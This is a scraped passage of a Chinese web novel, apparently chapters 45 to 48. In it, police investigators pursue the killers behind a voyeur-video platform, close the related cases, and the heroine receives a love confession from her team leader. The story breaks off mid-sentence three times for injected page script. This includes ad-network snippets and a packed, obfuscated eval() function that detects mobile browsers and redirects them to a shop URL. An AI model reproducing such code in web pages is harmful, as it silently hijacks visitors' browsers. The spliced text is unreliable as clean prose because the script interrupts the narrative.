吴白：“如果要算责任的话，我们第一次进入办公楼，惊动了门卫，导致他给犯人通风报信……这些责任都没办法说得清了。” 于山也说：“你们一开始只是去查看一下现场情况的。如果我一开始就安排你们全部人出动，也不至于让你们等后援那么被动。可惜没有如果……现在最重要的，是查杀害李聪的凶手，还有视频平台背后的势力。” ………… 方博和张平威经过了几轮审讯。 他们抗压能力不怎么样，审问结果很快出来了。 他们两个都是李聪招募回来的，对幕后老板知道的不多，只知道有人给了李聪很多钱，让他们开发这个窥视APP。 他们只负责开发和管理数据。 关于这个APP是怎么运营推广的，他们都不怎么了解。 他们定期打包平台的数据，导出到U盘。然后李聪私下把U盘交给对接的人。 他们曾经听到李聪说漏嘴，知道和他对接的人叫“陈哥”。但是陈哥的长相和信息，他们也不知道。 在出事的前一天，他们刚好导出了一批数据，U盘给了李聪。 ………… 鉴证科通过李聪身上的血迹痕迹，发现了他曾经背着一个斜挎包，不过斜挎包在犯人行凶后割断带子，被凶手拿走了。 李聪的手机，后来也证实是被犯人拿走了。 犯人曾经通过他的手机，命令方博他们毁掉服务器里面的数据。 发完信息之后，手机就被关机了，警方没办法跟踪信号。 李聪的手机，警方通过运营商，查到他被袭击之前，曾经有个匿名电话打过电话给他。 这个匿名电话后来也关机了，不在线，不能跟踪信号。 同样的，门卫联系的号码，也是一个匿名电话，电话不在线，不能跟踪信号。 ………… 两个村子及其周围的监控视频，被警方收集起来。 经过大量的浏览工作，警方确定了犯人就是之前拜访过李聪的人，也确认了他驾驶的车辆和车牌号。 警方通过监控视频，推测还原了事情的经过： 犯人拜访完李聪，离开去取车的时候，接到电话，然后开车前往南石村。 在马路上偶然遇到了技术员停靠在路边的面包车，发现了端倪，随后折返回到东石村，走小路到了李聪楼下。 李聪接到犯人的电话，被诱导从逃生窗爬到楼下，然后被犯人割喉杀害。 李聪随身携带的斜挎包被犯人拿走。 犯人离开之后，通过短信命令方博等人删除数据。 …… 关于犯人的长相，虽然监控拍下了他的身型外貌，但是因为他戴着帽子，遮挡了差不多半张脸。 关于犯人的车子，车子是很普通款式的车型，所以不能通过购买渠道追查。 车牌是假的，警方没能查到车主信息。 …… 在查看监控的时候，程昭有个意外的发现：吴白他们冲进办公楼的时候，有个骑着摩托车的人，他在“李聪被袭事件”和“恶意拍摄事件”都被系统标记了关联。这个人也是KL组织的人。 摩托骑手当时在街角停留了一段时间，拨打了一个电话，后来后援队伍来了，他就骑车离开了。 摩托车的车牌号被监控拍到了，程昭将车牌号输入系统，发现这个号码的车主名叫孙家豪。 孙家豪曾经因为打架伤人、聚众赌博，一年半之前被关进监狱，在里面待了一年。那所监狱，刚好就是李聪曾经待过的监狱。 程昭把这个发现提了出来。 孙家豪的经历，加上那天可疑的行为，大家都觉得这个人十分可疑，把他记在了嫌疑人黑板上，打算后续追查这个人的过往经历和近期行踪。 ………… 在李聪的住宿，鉴证科和刑警们发现了一些线索。 首先，是他的电脑。 幸好电脑比较重，李聪没带走，留在屋子里。 他的电脑被解锁后，专案组成员在电脑里面众多的照片里面，发现了几个聊天截图和几张风景照。 截图中的聊天软件似乎是某种阅后即焚的社交软件，截图的内容是幕后的人对他下达的一些命令。 和他对接的人，李聪称呼他为“陈哥”。 除了截图，有几张风景照很不起眼，大家都差点忽略了。程昭通过系统，才留意到，里面隐藏的重要的线索。 风景照是一年前在F市拍摄的，一个海边的度假村。其中一个照片的边角里面，意外拍摄到了杀害李聪的犯人。 程昭提出了她的发现。技术部通过图像软件对比，风景照的人和案发监控的人，有89%相似度。是同一个人的可能性非常高。 画像师根据监控录像和照片，画出犯人的正面画像。 其次，是屋子烟灰缸里的烟蒂。 李聪平时吸的牌子，是国产的。 但是烟灰缸里面有两个烟蒂，是外国的牌子。 鉴证科尝试对烟蒂上的唾液提取DNA，其中一个烟蒂的DNA片段和李聪的不一致。 警方怀疑烟蒂是属于犯人的，可惜这个DNA片段在系统里面暂时没有匹配的记录。（程昭确认烟蒂是犯人的，可惜暂时没办法证明。） 在李聪屋子里，程昭还发现了一个不起眼的线索，一个筹码和一张小票。 筹码和小票都是在一件外套口袋里面发现的。 筹码是赌场的那种筹码，但是没有印赌场名称。 小票是F市的金堂饭店的小票，日期是两个月前。 这个金堂饭店，程昭查地图，发现就在李聪一年前拍风景照的度假村附近。 系统显示这个筹码和饭店，和李聪案、视频平台案都有微弱的关联。 程昭便推测，这个筹码和金堂饭店，与组织的产业有关。而且筹码应该和赌博有关系，那个饭店里面可能开设了地下赌场。系统肯定了程昭的推测。 ………… 各种途径收集到的散乱信息，如同一团乱麻。经过众人的核对和整理，最终变成一根绳索，连接最终的真相。 在汇报会议上， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大家把有用的线索都列了出来，然后开始头脑风暴。 负责审问方博等人的乔良：“……方博他们说前一天曾经导出过数据，但是我们检查李聪屋子的时候，没找到U盘。所以我们推测，李聪死亡之前的访客就是和他对接的陈哥。犯人第一次来找李聪，就是为了接收数据。” 孙萍：“我们追踪了案件里面出现过的几个电话号码。李聪被袭击之前联系他的那个号码，还有门卫通风报信联系的号码，都是匿名电话，不能查到持有人身份。这些电话最后出现的地点都在东石村和南石村，案发之后就关机不在线了……因为号码最后关机的地点不一致，我们怀疑这两个号码的持有人是两个不同的人。” 周立言：“查看监控的时候，我们基本上确定了犯人陈哥，第一次离开李聪屋子，最终又折返杀害李聪的经过。程昭还发现了案件里面另一个潜在的嫌疑人孙家豪，他可能和幕后势力有关系。目前确定他还在A市，后续我们会继续跟踪他的信息。” 于山：“嗯，陈哥和孙家豪需要继续跟进，他们是我们目前知道的，和幕后势力有关的人……目前我们还拿到了犯人陈哥的画像，还有疑似犯人的DNA片段。服务器数据也恢复了，两个开发者也招供了。和视频相关的各个案件，后续可以着手去捉拿嫌疑人了……大家还有什么要补充的吗？或者还有什么猜测？” 孙泽林：“我有个猜测……孙家豪曾经因为聚众赌博和打架入狱，李聪也曾经因为开发赌博网页入狱，他们都和赌博有关系。会不会这个案件的幕后势力，和赌博也有关系？” 侯远山：“我也猜一个……李聪和犯人陈哥，都出现过在F市的度假村。那个度假村会不会是幕后势力的产业？” 吴白：“还有……通风报信的门卫，会不会和幕后势力有关系？提供的号码会不会是烟雾弹？” 程昭：“我也有个推测……李聪有件外套，口袋里面发现了一个筹码和一张金堂饭店的小票。金堂饭店在F市，李聪拍的那个风景照的度假村附近。那个金堂饭店会不会和赌博有关系？李聪和犯人陈哥都去过那边附近，那个金堂饭店会不会是那个势力的产业？” 大家的推测都各有依据，听起来都有可能，不过程昭说的最天马行空。 ………… 会议结束后，于山整理了大家头脑风暴的结果，并且让大家可以追查的，先自己查；不方便查的，由周立言、孙萍调权限去查。 程昭、侯远山的推测，都和F市有关。他们是A市的刑警，跨市查案不方便。 于是周立言帮忙，联系F市警方，帮忙查金堂饭店和度假村。 没想到F市警方表示，他们也曾经怀疑，金堂饭店有地下赌场。只是苦于找不到规律，两次上门都没有收获。 可惜李聪已经死了。如果他没死，还可以审问金堂饭店赌场的事，把这个地下赌场清理掉。 周立言把陈哥的画像发给F市警方，让他们帮忙留意，看看陈哥还会不会再去F市的金堂饭店和度假村。 F市警方答应了帮忙。 金堂饭店本来就是他们正在监视的目标，找人是顺带的事。 如果事情真的像A市程警官推测的那样，陈哥背后的势力和金堂饭店的地下赌场有关，那他们的案件就有所进展了。 46. 匆匆结案和系统升级 经过几日的查证和抓捕，窥视APP视频相关的案件，大部分的嫌疑人都一一落网了。 但是因为关联的案件太多，抓捕的人也多，人多口杂的，难免走漏风声。 这个视频平台的部分信息，不知不觉之间，被快速传开了。 随之而来的，是媒体的曝光和关注，还有群众的质疑和恐慌。 本来偷拍、虐待动物的视频传播，就已经十分令人愤怒了。 这个平台还不止传播偷拍、虐待动物的视频，还有很多各种各样的犯罪视频。 网络上面流传了很多真真假假的传闻。 不少的人都在网上留言，说自己身边有人被抓了，怀疑和这个视频平台的案件有关。 还有一些人，假装成知情人士爆料，编造了一些猎奇可怖的故事，合成了一些照片，伪造成性侵、杀人、碎尸等犯罪场景，假装成最近的新闻，以此吸引流量。 一开始，警方因为多种原因，没有发出案情公布。 事态发展越演越烈，很多人在各种渠道发出言论，质问政府为什么迟迟没有发现和清除这样的平台，质疑警方为什么这么无能。 上面的领导勒令警方尽快展开新闻发布会，公布案件部分内容，并且尽快结案，安定民心。 于山很无奈，但是现在事态逐渐失控，只能答应领导的要求。 ………… 程昭这边。 系统小五带来了一个好消息，系统最近终于完成了升级。 宿主收集事件素材，提交到星球总部之后，总部会按照综合评分，给完成任务的系统宿主发放积分。 积分可以在系统的积分商城兑换道具，也可以在抽奖轮盘上抽奖获得道具。 程昭看了一下当前积分，她现在有500积分。程昭回忆了一下，之前她收集完成的大大小小的案件（包括一些很小的盗窃案、酒驾事件），差不多有三十个。系统给的积分，似乎有点随意，不过有给积分就不错了。 她再看看积分商城，积分商城里面的常规道具主要有两种：治疗、强身。 每种道具都有多种级别，低级道具的效果会差一点或者有时间限制，高级道具的效果堪比神迹。 以治疗的道具为例子，治疗道具主要是用来急救的。 例如强力止血贴，使用之后可以立刻止血，不过低级止血贴有30分钟的时效限制，如果受伤者没有及时治疗，后续会继续出血。 又例如多效解毒剂，可以将中毒者体内的毒素排出体外，不过低级解毒剂只能排出30%的毒素。 但是积分商城里面兑换道具，需要的积分非常多。一个低级止血贴要用掉100积分。 之前这么多个案件才给了500积分，程昭实在舍不得随意挥霍。商城里面的道具，还是等紧急关头，有需要再兑换吧。 和积分商城比起来，抽奖轮盘的性价比就比较高了。 抽奖轮盘100积分可以抽三次奖，但是单抽的话，一次要花40积分。 程昭看了一下，当前抽奖轮盘可以抽到的奖品有治疗、强身类的道具，而且还有几个带着问号的隐藏道具。 系统小五解释：“抽奖有机会抽到特殊道具。特殊道具没被抽到过之前，在轮盘奖品预览，就会显示问号。” 100积分可以拿到3个奖品，奖品里面最次的也是低级止血贴。即使抽到3个低级止血贴，也比直接兑换的划算。 道具抽中之后，可以先放在系统不使用。所以程昭就大着胆子，花了100积分抽了三次。 最后拿到了一个低级止血贴，一瓶运动效果加强（3小时）饮料，一个寻人启事（启用后，可使用一周）。 ………… 于山拉上周立言、孙萍，先召开了一次新闻发布会，公布了正在处理的案件数量和大概涉及的案件类型，破除了网上一些流言。 然后，于山下命令，要求优先处理完视频相关的案件，视频平台幕后势力暂缓查探。 刑事二队和刑事三队的众人，加快速度，完成视频相关的案件。 前期查证工作大部分都已经做了，现在主要的任务就是抓捕和审问犯人。 被捉到的犯人，因为自己上传了罪证，证据确凿，大多数很快就认罪了。 有一小部分犯人听到走漏的风声，提前躲了起来，给程昭他们带来了不少麻烦。 这时候，程昭新拿到的特殊道具--寻人启事，派上了用场。 这个“寻人启事”道具是一个表格，使用者填入需要寻找的人的信息，表格会自动显示那人的所在之处。 这个特殊道具可以重复使用多次，不过这个道具启用后，只能使用一周。 通过“寻人启事”的帮忙，躲藏起来的犯人也被一一找到了。 专案组的刑警们每天都在加班查证、审问、出报告，每个人都累得像狗一样，眼睛挂上了浓浓的黑眼圈。 众人连续加班加点了十几天，终于在把众多案件结案，把犯人一一转移到检察院进行判决。 众多案件结案之后，于山又拉上周立言和孙萍去开新闻发布会，对公众说明案件处理情况。 不过关于窥视APP这个视频平台，幕后势力的情况，警方没有透露任何消息。只对外宣称，视频平台的负责人一个已死，两个已抓。 视频平台案，在明面上暂时告一段落，专案组解散。 暗地里，于山让众人后面继续留意案件的相关情况，有线索的话就上报。 于山：“视频平台案，我本来是想，专案组在暗地里把案件相关的人员查清楚，再抓人的。但是现在这个案子已经曝光了，敌暗我明，我们只能尽快结案。等找到相关线索，我们再继续查这个案子。” ………… 目前已知的关系人之一，杀害李聪的凶手陈哥，作为幕后势力和开发团队的联络人，肯定是知道最多的人。 程昭等人曾经拜托交通部门，帮忙查马路监控，找陈哥的车辆逃离路线。查看监控后，警方发现犯人车辆去了大学城以西的郊外方向，后续的路段没有监控，最后就不知所踪了。 另一个已知的关系人孙家豪，警方曾查到他还在A市，并打算安排人跟踪他的行踪。 没想到孙家豪十分警惕，发现了跟踪他的人，不动声色地把行李收拾好，然后在盯梢人的眼皮底下，悄悄地溜走了。 盯梢的人发现不对劲的时候，孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941494|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家豪早就离开了。他的住所，警方搜查了一遍，没有什么特殊发现。 周立言把孙家豪的照片等信息，也发给F市警方，让他们帮忙留意，孙家豪和陈哥有没有出现在金堂饭店或者度假村。 至于视频平台的运营推广--那些游戏账号，在视频平台的人被抓之后，都没有上过线。 后来有部分账号，被清空了好友等信息，流转到二手平台上，被低价转卖了。 警方无奈，只能等有新线索的时候，再继续追查视频平台的幕后势力。 程昭虽然已经知道，这个幕后势力就是韩高煊（原龙傲天小说男主）后来倚靠的KL组织，但是这个发现目前毫无依据（系统的内容，别人也看不到），她也只能把真相藏于心中，等待适合的契机，再提出来。 ………… 时间很快到了一月底，程露考完了期末考，学校要开家长会。 程昭本来以为她要食言了，之前查视频平台案加班太严重了。幸好在家长会之前，案件暂时结束了。 于山让大家轮流放几天假，当做是之前加班的补偿。 家长会的日期，刚好就是程昭放假的时间，省了她请假的麻烦。 程露听说姐姐要来开家长会，虽然嘴上没说什么，但是程昭听得出来，妹妹的语调欢快了不少。 ………… 程昭没想到，自己再次步入校园，居然是给妹妹开家长会。 看着课室里面，比她年长不少的家长们，程昭感觉到自己作为家长的压力了。 自家情况特殊，程家父母一年多以前去世了。 她作为程露的家长，平时忙于工作，很少关注妹妹的学业情况。 不过程露本身是比较令人省心的女孩子。这次期末考成绩虽然没有名列前茅，但是在班里总成绩排行13，在年级里面算是中等偏上。 程露现在还是高一，时间还有很多，可以慢慢努力，再提高一下分数。 家长会上，班主任表扬了几个成绩特别好的同学，其中包括之前见过面的张雯雯。 然后，班主任又表扬了几个成绩稳定或者有所进步的同学，其中包括了程露。 最后，老师又提及到了几个同学学业有所懈怠：“……学期末这段时间，韩学文、李志斌、林珍珍等同学，曾经翘掉了晚自习，出去校外打游戏。虽然他们成绩没有明显退步，但是这是违反校纪的事。请那些同学的家长，留意一下孩子的情况……” 散会之后，班主任被几个热心的家长们团团围住。 程昭也想了解一下妹妹在学校的情况，于是也在旁边等候。 等班主任有空了，程昭便过去了解程露的情况。 班主任夸了程露，学习很自觉。不过班主任还隐晦提及到，班上有人有早恋倾向，程露可能有点困扰，家人需要多关心一下。 程昭马上有点警惕起来了。 她的妹妹长得那么软萌可爱，确实可能有小男生喜欢她。 如果是两情相悦的，在不影响学习、不过界的情况下，程昭可以只眼开只眼闭。 但是老师提及到了困扰。 程昭打算，等下回去就和妹妹谈一谈，问问是什么情况。 47. 偶遇 家长会结束，程昭和程露一起回家。 “这次考试题目好难啊。雯雯成绩居然还是这么好，我连班前十都没考进。”程露有点小郁闷，这次成绩没有平时理想。 程昭笑着说：“是吗？老师在家长会表扬了雯雯，也表扬了你，说你成绩稳定。” 程露松了口气：“居然没有批评我吗？太好了，我还以为会说我呢。我都害怕让你一起丢脸了。” 程昭：“你们才高一呢，不用给自己这么多压力。尽力而为就行……不过老师说了一些事，让我有点担心……” 程露很好奇：“嗯？老师说什么了？” 程昭挠挠头：“散会的时候我去单独找她，问问你的情况。她说班上有人有早恋倾向，给你造成了一些困扰。” “啊？这个啊……”程露脸上露出一丝羞恼，“班里有几个男生，好像在比赛谁更快脱单，这段时间到处撩妹。有个人时不时骚扰我，有次刚好被老师看到了。” 程昭微微皱眉：“那人现在还有骚扰你吗？” 程露摇摇头：“现在没有了……我很明确地拒绝他了。” 程昭：“那人是谁啊？” 程露：“那个人叫韩学文。” 程昭：“韩学文？不就是班主任说的，逃了晚自习去玩游戏的其中一个吗。” 程露乐了：“哈哈，他们被点名批评了吗？” 程昭：“对啊，家长会上面当众说的。” 程露有点幸灾乐祸：“估计韩学文又要挨打了，他之前逃课被他爸打得鼻青脸肿的……好像他有个堂哥还是表哥，高中辍学去混□□，他家人怕他也这样，所以有时候会很严厉。” 程昭心里咯噔一下，这个姓氏，这种经历，不会那么巧吧…… 程昭：“那个同学的堂哥表哥，你知道叫什么名字吗？” 程露摇摇头：“不知道，韩学文上次被打，他在课室和他朋友吹嘘，说他有个混□□的哥哥……后来老师找了他家长，慢慢这事大家都听说了。” 看来，有必要查一查这个韩学文和他的堂哥/表哥了。 程昭决定过两天，回去上班就登陆内网系统查一下。 万一这个韩学文，真的是韩高煊（龙傲天）的亲戚，那么说不定可以再他身上查到一些什么。 上一世看的龙傲天小说，小说后面有段剧情：韩高煊设计哄骗程露，想要把她收入后宫。后来程露发现了真相，和韩高煊反目成仇，在复仇时被杀害。 因为程昭只看了小说的一小部分，程露后来这部分的剧情是看评论区剧透才知道的。所以她之前也没想明白，为什么程露会和韩高煊扯上关系。 如果程露的同学，是韩高煊的亲戚，而且这个同学很崇拜韩高煊又曾经喜欢程露，那么程露后来被卷进小说剧情里面，就说得通了。 ………… 不过，查韩学文的事不急，她还有两天假期呢。 之前加班太狠了，她要好好休息一下。 而且快要过年了，她们家要准备一下过年的东西。 虽然她们家在A市没有什么亲戚，没有拜年的计划，但是过年该有的东西，还是要准备的。 而且她们还要大搞卫生，给小猫洗澡。 程昭也不确定过年之前会不会有案子，以防万一，还是在休假期间，把可以做的事情都完成。 怎么办，感觉这两天并没有什么时间休息呢…… 不过程露也放假了，她建议她们出去买过年的东西的时候，顺便去逛逛美食节。 程露：“……反正都出去买东西了，干脆也去参加美食节。做不完的事，你上班之后，我可以继续做。难得放假，就好好休息一下吧。” 程昭感觉程露说的很有道理。她十分愉快地接受了妹妹的建议。 第一天两人先带小橘出去洗了澡，然后又搞了大半天卫生。 第二天两人先去美食节逛逛吃吃喝喝了半天，然后去商场买衣服买过年的东西。 在商场买东西的时候，程昭她们路过一家名牌服装店。程昭不经意地往里面看了一眼，没想到看到周立言正在陪一位年轻女性买衣服。 那个女孩好像在选衣服，问周立言的意见。周立言靠坐在沙发上，看不清楚表情。 两人看起来很亲密。 程昭看了一眼，就假装没看见，若无其事地拉着妹妹走开了。 周队是陪女朋友买衣服？之前好像没听说他有女朋友呢…… 不过周队有颜又有钱，他有女朋友也不稀奇…… 之前和周立言相处，他有时候给她一种感觉，好像他有点喜欢她。 不过周立言没有什么明确的举动，所以程昭也时常怀疑是不是自己自作多情了。 程昭抚心自问，她是有点喜欢周立言的，但是她知道他们并不相配。 从之前和周立言聊天的内容可以感觉到，他家庭应该挺有钱的，而且家庭关系比较复杂。 程昭父母双亡，家庭普通，而且她还带着一个还在读书的妹妹。 而且，程露未来，不知道会不会被卷入龙傲天的小说故事线里面。 程昭接收了原身的身体，也接受了原身的责任。程昭是个重诺的人，她当初和原身的残魂许诺了，所以一定会说到做到。 韩高煊当初开车杀死帮派的小头目，逃逸时故意撞死了路过的交警（原主）。他投靠的KL组织，从视频平台案可以看出，这个组织十分黑暗十分危险。 如果未来程露依然被卷入龙傲天小说剧情，程露甚至程昭都会身处险境。 而且程昭现在是一名刑警了，处理案件，和KL组织对上，也是迟早的事。 在程露大学毕业之前，她都没打算恋爱结婚，所以即使她对周立言有过一些心动，但是她也不会主动。 不过，现在看来，周队可能有对象了，幸好她没表示过什么，不然就挺尴尬的。 他们比较暧昧的事，就是她上下班经常蹭周队的车，然后她给他带早餐。 以后还是保持一点距离吧，免得被人误会了。上下班也不要再蹭周队的车了。 ………… 程昭一边胡思乱想，一边走远了。 周立言不经意望出店外，隐约看到两个女生的背影，其中一个有点像程昭。不过人已经走远了，应该只是看错。 周立言转头，看向面前正在选衣服的女孩--小他6岁的妹妹，周思雨。 小时候，算命先生给周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954657|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立言算命，说他的八字会影响身边人的运势，特别影响兄弟姐妹。 周立言和父母、大哥、三弟关系都很疏远，和母亲的关系最不好。唯独这个妹妹不信风水命理那一套，私底下和他关系不错。 之前忙着工作，周思雨找了他几次出来，他都没空。今天休假，周思雨找他逛街吃饭，他就答应了。 “二哥，你觉得哪一个比较好看？”周思雨拿着两件衣服，在试衣镜前比来比去。 周立言扶额：“黄色配白色，白色配黄色……两件衣服都差不多。” 周思雨：“哪里一样了，一个主色是黄色，一个主色是白色，而且一个是荷叶边，一个是蕾丝边。” 周立言：“既然都喜欢，你都买了不就行了？家里又没缺你的零用钱。” 周思雨拿着衣服，走到周立言旁边坐下：“现在是没缺……但是以后就不好说了，我要省着点花。” 周立言感觉到周思雨话里有话，便问：“家里发生什么了？” 周思雨靠近周立言，低声说：“公司资金链出现了一些问题，老爸在到处拉投资……他们甚至打上了联姻的主意，说不定我和你，哪天就被他们拿出去卖了。我不听话的话，肯定会停掉我的零花钱。” 周立言皱眉：“圈子里面大多数人都知道，我和家里的关系。拿我来联姻，是把对方当成傻子？” 周思雨：“之前视频平台的案子，不是闹得人心惶惶吗？你上了两次新闻，镜头又喜欢拍你，看起来老帅了。后来就有几个叔叔伯伯，在老爸面前问起了你。老爸就又打算，过年前后搞几个聚会。” 周立言皱眉不语。 周思雨：“今天找你出来，我就是想要偷偷告诉你这个，免得你毫无防备地拉出来相亲……我这个妹妹，对你够义气了吧。之前想约你出来，你还推三阻四的。” 周立言：“之前一直在加班查案，没有空……谢谢你提前通风报信了。” 周思雨：“嗯哼，我帮你忙也不是毫无条件的。万一我被停了零花钱，我就来投靠你了……三哥没本事，什么都靠着家里。大哥的利益，和老爸、公司是一体的，他只会帮忙出卖我。” 周立言：“母亲对你应该还好吧？” 周思雨：“一般情况她是对我挺好的，但是她不会违背老爸的意愿。她担心老爸会去找外面的情人，把私生子女带回家。” 周立言叹气，揉了揉太阳穴：“真没地方去的话，我有地方让你住。不过你不要表现得太明显，我不想他们又过来闹。” 周思雨：“那当然了，我又不傻。” ………… 周立言陪完周思雨逛街吃饭，回到家。 刷手机的时候，看到程昭今天下午发了个朋友圈，两姐妹去了一家蛋糕店吃下午茶。 这个蛋糕店，好像今天去的商场里面就有一家。 难道今天看到的背影，是程昭？ ………… 第二天，早上上班，周立言准备像之前几天那样，开车到隔壁小区，接上程昭一起上班。 没想到程昭一早给他发了个信息，说她有事提早出门，不蹭他的车了。 周立言有点摸不着头脑，不过还是继续开车上班了。 48. 表白 程昭一早来到办公室，趁着人少，立刻登录了内网系统，查程露的同学——韩学文的情况。 查询结果显示，韩学文和韩高煊，确实是亲戚。 韩高煊是韩学文的父亲大哥的儿子，也就是韩学文的堂哥，比韩学文大9岁。 韩高煊的父亲，韩大洪曾经是一名货车司机，后来因为酗酒丢掉工作，曾经有几次醉酒闹事进过派出所，还有两次疑似家暴的记录。 韩高煊的母亲，何春花在韩高煊小学的时候，去了外地打工，再也没有回来。 韩学文的父母是商人，早年赚到了一些钱。韩高煊曾经在他们家住过一段时间。 …… 程昭把韩学文和韩高煊的情况，看了一遍，然后退出了登录。 程昭看他们的资料的时候，留意了一下事件收集器，系统没有触发收集，旧事件也没有更新内容。 韩高煊的亲戚应该没有牵涉到韩高煊、KL组织的案件里面，至少目前是没有的。 程露现在应该还是很安全的，不过还是要她注意韩学文，离这个人远一点。 程昭思索的时候，周立言也回到办公室了。 周立言看到程昭，径直走了过来：“今天怎么这么早出门？有什么事吗？” 程昭早想好了托辞：“我妹妹早上有个地方要去，我们就一起出门了。” 周立言将信将疑：“这样吗？” 程昭：“对啊。” 周立言：“……” 这时，于山叫周立言去他的办公室。 视频平台案虽然已经告一段落，但是众多的关联案件，要写很多份材料和报告，而且还有不少的会议。 周立言沉默不语，又看了程昭一眼，然后走开了。 程昭暗自松了一口气。 ………… 下班时间快到了，程昭提前收拾好东西，准备到点就离开，想要避开周立言的顺风车。 周立言下午三四点的时候又被拉去开会了，现在还在楼上会议室没回来。估计散会的时候，都已经超过下班时间了。 下班时间一到，程昭带着随身包，离开办公室。 快走到楼梯口的时候，周立言刚好回来了。 程昭干笑：“周队，你们散会了吗？” 周立言看到程昭一副悄悄跑路的样子，轻轻挑眉，果然是在避开他？ 周立言：“对啊，是急着去哪里吗？” 程昭干笑：“……对啊，今天没有什么事情，我和我妹约好了出去吃饭。” 周立言：“你们姐妹感情真不错……对了，昨天你们是不是也去了K22广场？” 程昭挠挠头，莫名有点心虚：“呃，是啊，你怎么知道的？” 周立言：“我看你朋友圈了，你昨天下午茶去的那个蛋糕店，我和我妹妹昨天也经过了。” 程昭愣住了：“啊？你和你妹妹？” 那天那个女孩是周立言的妹妹？怎么看起来一点也不像。 周立言解释说：“是啊，我不是有对龙凤胎弟弟妹妹吗，昨天我妹约我出去，要我陪她买衣服。” 周立言打开手机，给她看了他昨晚和周思雨的飞讯聊天记录。 周立言：“昨天她回家之后，还说后悔，没有去吃那家店的蛋糕。然后，我就看到你的朋友圈了。” 程昭很惊讶：“……啊，这么巧吗。你们好像长得不太像。” 周立言眼睛闪过一丝促狭的笑意：“哦？你有看到我们吗？” 程昭急忙找补：“你刚刚不是给我看你们聊天内容吗，我看到她的头像照片了。” 周立言：“我和兄弟妹妹都长得不像，我奶奶曾经说，我比较像我爷爷，其他兄弟姐妹比较像我父母。” 原来是这样啊，真的是妹妹啊…… 程昭感觉有点复杂，有点不好意思又有点高兴。 周立言看着程昭有点傻乎乎的脸，忍不住揉了揉她的头发。 程昭愣住了。 周立言挑眉：“看你的表情，还有早上提前出门上班的举动……你该不会是以为，思雨是我女朋友吧？” 程昭：“呃……” 周立言一脸了然：“……你果然是看到我们了。” 程昭看瞒不过了，干脆承认了：“好吧，既然被你猜到了……是啊，你们在买衣服的时候，我们刚好路过了。” 周立言：“……你怎么当时不和我打招呼呢？这样我们就可以一起玩了。” 程昭无语：“……拜托，那样也太没眼色了……我当时还以为你们是情侣呢！” 周立言看着程昭：“我没有女朋友……” 程昭微微愣住：“哦。” 周立言继续说：“不过我有个喜欢的人。” 程昭的脸开始升温。 周立言：“本来我不想太早表明心意的。因为我家里情况有点复杂，有些麻烦不处理好，可能会影响到她。” “但是她现在误会我了，我想，我还是大胆一点，先走出一步，表明心迹……” “程昭，我喜欢你。” 程昭的脸爆红。 “你要不要试一下和我交往？” 程昭想起了自己之前的计划，有点犹豫：“……我家很麻烦的，我还需要照顾我妹妹。” 周立言嘴角微弯：“我知道。我家麻烦也不少……先抛开家庭因素，你对我感觉怎么样？” 周立言刚问完，楼梯这边突然开始很多人经过。 这个地点和时机不太好，周立言微微叹气：“这个表白太仓促了，我只是想先表明我的心迹。你先慢慢想，我们晚一点回去再聊？” 程昭红着脸，点头说：“好，那我先走了……” 周立言眼睛微眯：“嗯？又不等我？” 程昭挠挠头：“我真的约了我妹出去吃饭。” 周立言：“……那晚一点再聊。” 程昭：“好，我先走了，再见。” 然后程昭一溜烟跑了。 ………… 程昭和程露去了一家新开的餐厅吃饭，当做对程露期末考，和过年前搞卫生的奖励。 程露吃得心满意足，但是程昭就有点心不在焉。 吃完饭回到家，差不多到九点。 周立言发来了信息：回来了吗？要不要出来散步或者夜跑？ 程昭想了一下，还是答应了：刚刚回到家，我们一起夜跑吧。 周立言：好，我十五分钟之后到，我们在大门集合？ 程昭：好。 ………… 程昭去洗手间整理了一下仪容，想了想，又补了一点散粉和有点润色的润唇膏。 拍了拍微微发热的脸，程昭去门关换运动鞋。 “姐，你又出去夜跑吗？”程露看到了，好奇问道。 程昭：“……是啊，最近在加强锻炼。” 程露：“哦，那你慢慢跑吧，我准备刷剧呢。” 程昭：“嗯，那我出去了。有什么事你电话找我。” 程昭微微松了一口气，幸好妹妹没说要一起来。 到了楼下大门，看到站在一边的周立言，程昭上前：“这么快，不是十五分钟吗？” 周立言：“我怕要你等我，所以早了几分钟……我们先去哪里？” 程昭：“我们先跑去江边吧。” 小区这边熟人太多了，被人看到有点不好意思。 两人慢跑热身，一路小跑到了江边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984087|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说是要夜跑，但是两人的速度，不约而同地慢了下来，变成了散步。 周立言：“……你心里有结果了吗？” 